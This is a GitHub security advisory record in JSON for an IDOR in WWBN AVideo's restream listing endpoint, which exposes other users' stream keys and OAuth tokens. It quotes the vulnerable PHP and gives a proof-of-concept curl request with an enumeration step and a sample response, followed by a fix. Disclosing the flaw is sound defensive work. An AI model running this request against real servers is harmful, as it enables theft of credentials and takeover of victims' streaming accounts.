{"id":"GHSA-gpgp-w4x2-h3h7","summary":"WWBN AVideo has an IDOR in Live Restreams list.json.php Exposes Other Users' Stream Keys and OAuth Tokens","details":"## Summary\n\nThe endpoint `plugin/Live/view/Live_restreams/list.json.php` contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user with streaming permission to retrieve other users' live restream configurations, including third-party platform stream keys and OAuth tokens (access_token, refresh_token) for services like YouTube Live, Facebook Live, and Twitch.\n\n## Details\n\nThe authorization logic in `list.json.php` is intended to restrict non-admin users to viewing only their own restream records. However, the implementation at lines 10-14 only enforces this when the `users_id` GET parameter is absent:\n\n```php\n// plugin/Live/view/Live_restreams/list.json.php:6-19\nif (!User::canStream()) {\n    die('{\"data\": []}');\n}\n\nif (empty($_GET['users_id'])) {       // Line 10: only triggers when param is MISSING\n    if (!User::isAdmin()) {\n        $_GET['users_id'] = User::getId();  // Line 12: force to own ID\n    }\n}\n\nif (empty($_GET['users_id'])) {\n    $rows = Live_restreams::getAll();\n} else {\n    $rows = Live_restreams::getAllFromUser($_GET['users_id'], \"\");  // Line 19: attacker-controlled ID\n}\n```\n\nWhen a non-admin user explicitly supplies `?users_id=\u003cvictim_id\u003e`, the value is non-empty, so the override at line 12 is never reached. The attacker-controlled ID passes directly to `getAllFromUser()`, which executes:\n\n```php\n// plugin/Live/Objects/Live_restreams.php:90\n$sql = \"SELECT * FROM live_restreams WHERE users_id = $users_id\";\n```\n\nThis returns all columns from the `live_restreams` table, including:\n- `stream_key` (VARCHAR 500) — the victim's RTMP stream key for third-party platforms\n- `stream_url` (VARCHAR 500) — the RTMP ingest endpoint\n- `parameters` (TEXT) — JSON blob containing OAuth credentials (`access_token`, `refresh_token`, `expires_at`) obtained via the restream.ypt.me OAuth flow\n\nOther endpoints in the same directory correctly validate ownership. For example, `delete.json.php:19`:\n```php\nif (!User::isAdmin() && $row-\u003egetUsers_id() != User::getId()) {\n    $obj-\u003emsg = \"You are not admin\";\n    die(json_encode($obj));\n}\n```\n\nThis ownership check is missing from `list.json.php`.\n\n## PoC\n\n**Prerequisites:** Two user accounts — attacker (user ID 2, streaming permission) and victim (user ID 1, has configured restreams with third-party platform keys).\n\n**Step 1:** Attacker authenticates and retrieves their session cookie.\n\n**Step 2:** Attacker requests victim's restream list:\n```bash\ncurl -s -b 'PHPSESSID=\u003cattacker_session\u003e' \\\n  'https://target.com/plugin/Live/view/Live_restreams/list.json.php?users_id=1'\n```\n\n**Expected response (normal behavior):** Empty data or error.\n\n**Actual response:** Full restream records for user ID 1:\n```json\n{\n  \"data\": [\n    {\n      \"id\": 1,\n      \"name\": \"YouTube Live\",\n      \"stream_url\": \"rtmp://a.rtmp.youtube.com/live2\",\n      \"stream_key\": \"xxxx-xxxx-xxxx-xxxx-xxxx\",\n      \"parameters\": \"{\\\"access_token\\\":\\\"ya29.a0A...\\\",\\\"refresh_token\\\":\\\"1//0e...\\\",\\\"expires_at\\\":1712600000}\",\n      \"users_id\": 1,\n      \"status\": \"a\"\n    }\n  ]\n}\n```\n\n**Step 3:** Attacker can enumerate all user IDs (1, 2, 3, ...) to harvest all configured restream credentials across the platform.\n\n## Impact\n\n- **Credential theft:** Attacker obtains third-party platform stream keys and OAuth tokens (access_token, refresh_token) for all users who have configured live restreaming.\n- **Unauthorized broadcasting:** Stolen RTMP stream keys allow the attacker to broadcast arbitrary content to the victim's YouTube, Facebook, or Twitch channels.\n- **OAuth token abuse:** Stolen refresh tokens can be used to obtain new access tokens, providing persistent access to the victim's third-party accounts within the scope of the original OAuth grant.\n- **Full enumeration:** User IDs are sequential integers, enabling trivial enumeration of all platform users' restream credentials.\n\n## Recommended Fix\n\nAdd an ownership check in `list.json.php` consistent with the pattern used in `delete.json.php` and `add.json.php`:\n\n```php\n// plugin/Live/view/Live_restreams/list.json.php — replace lines 10-14\nif (!User::isAdmin()) {\n    $_GET['users_id'] = User::getId();\n}\n```\n\nThis unconditionally forces non-admin users to their own user ID, regardless of whether the `users_id` parameter was supplied. The `empty()` check should be removed so that the parameter cannot be used to bypass the restriction.","aliases":["CVE-2026-40907"],"modified":"2026-05-05T16:11:42.324166Z","published":"2026-04-14T22:49:05Z","database_specific":{"cwe_ids":["CWE-639"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-14T22:49:05Z","nvd_published_at":"2026-04-21T20:17:03Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-gpgp-w4x2-h3h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40907"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/d5992fff2811df4adad1d9fc7d0a5837b882aed7"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-gpgp-w4x2-h3h7/GHSA-gpgp-w4x2-h3h7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}